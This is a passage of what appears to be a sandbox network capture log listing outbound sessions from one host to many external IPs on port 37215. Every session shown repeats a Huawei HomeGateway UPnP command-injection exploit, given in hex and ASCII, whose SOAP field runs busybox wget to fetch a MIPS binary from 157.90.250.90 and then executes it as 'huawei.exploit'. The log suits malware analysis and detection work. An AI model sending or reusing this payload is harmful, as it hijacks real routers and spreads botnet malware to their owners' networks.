2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	56886	156.204.54.116	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.062577009 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	45940	156.131.137.8	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.063251972 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	43248	197.86.98.63	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.063884974 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	55550	197.227.173.107	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.064526081 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	53942	41.233.227.101	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.065181017 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	34158	41.231.216.149	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.065821886 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	52498	156.218.161.155	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.066461086 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	49772	156.97.134.32	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.067126989 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	42738	197.49.101.41	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.067763090 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	46224	41.246.60.179	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.068443060 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	57094	41.10.137.114	37215

Timestamp	Bytes transferred	Direction	Data
